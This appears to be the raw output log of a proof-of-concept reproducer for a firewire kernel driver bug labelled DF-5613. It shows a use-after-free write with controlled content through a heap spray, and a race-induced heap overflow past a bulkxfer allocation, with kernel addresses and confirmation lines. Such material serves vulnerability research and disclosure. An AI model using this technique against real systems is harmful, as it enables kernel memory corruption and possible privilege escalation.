df5613: prepared, fc=0xffffffff826070c0 sizeof(fwdma_alloc_multi)=32 sizeof(fw_bulkxfer)=48 sizeof(fwdma_seg)=24
df5613/t2: teardown-vs-inflight UAF write test (deterministic loser-thread interleaving)
df5613/t2: fd1 claimed it=0xfffff80068ed2240 am=0xfffff800ac61f1e0 nseg=16 ssize=4096 esize=2048 buf=0xfffff800ac61f1e0 bulkxfer=0xfffff80066b46550
df5613/t2: fd2 cached packet pointer fp=0xfffff800ac4c9000 (element 0, seg[0].v_addr=0xfffff800ac4c9000)
df5613/t2: fd1 fw_close err=0 -- q->buf=0 bulkxfer=0 (both freed); fd2's fp=0xfffff800ac4c9000 is DANGLING
df5613/t2: fd2 resuming: uiomove(header,4) + uiomove(payload, fp->mode.stream.len=42432) to freed fp
df5613/t2: uiomove err=0 resid=0
df5613/t2: UAF WRITE landed in spray block 15 (the reclaimed fwdma segment page) at offset 11
df5613/t2:   context: "....13-UAF!DF5613-UAF!DF5613-UAF"
df5613: DF-5613 REPRODUCED: fd2's in-flight fw_write uiomove()'d attacker iso payload (2048 bytes) into the fwdma segment page freed by fd1's fw_close and reclaimed by the spray (block 15, offset 11) -- UAF write with controlled content
df5613/t1: claim race -> shared queue -> overflow test
df5613/t1: fd1 inside fwdma_malloc_multiseg after 32750 spins (bulkxfer=0xfffff800ae1c3100 buf=0 OPEN=0)
df5613/t1: fd2 STSTREAM err=0 d2->it=0xfffff80068ed2240 (fc.it[0]=0xfffff80068ed2240)
df5613/t1: final: d1->it=0xfffff80068ed2240 d2->it=0xfffff80068ed2240 shared=YES q->buf=0xfffff800ae1e0000 q->bulkxfer=0xfffff800ad3b26c0 bnchunk=64
df5613/t1:   q->bulkxfer[ 8].poffset = 512 (fd1 wrote 512 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[ 9].poffset = 576 (fd1 wrote 576 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[10].poffset = 640 (fd1 wrote 640 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[11].poffset = 704 (fd1 wrote 704 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[12].poffset = 768 (fd1 wrote 768 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[13].poffset = 832 (fd1 wrote 832 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[14].poffset = 896 (fd1 wrote 896 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[15].poffset = 960 (fd1 wrote 960 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[16].poffset = 1024 (fd1 wrote 1024 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[17].poffset = 1088 (fd1 wrote 1088 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[18].poffset = 1152 (fd1 wrote 1152 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[19].poffset = 1216 (fd1 wrote 1216 beyond the 2-entry alloc: OVERFLOW)
df5613/t1:   q->bulkxfer[20].poffset = 1280 (fd1 wrote 1280 beyond the 2-entry alloc: OVERFLOW)
df5613/t1: 62 of 62 out-of-bounds entries carry fd1's poffset pattern -> heap overflow CONFIRMED
df5613/t1: fd2 am=0xfffff800ae1e0000 probe kmalloc(56)=0xfffff80066be7c88 -> probe differs
df5613: DF-5613 REPRODUCED: two fds claimed one xferq via the unsynchronized FW_STSTREAM path; fd1's chunk loop overwrote 62 x 32 bytes past fd2's 2-entry bulkxfer kmalloc (poffset=i*npacket controlled); fwdma buffer leak not confirmed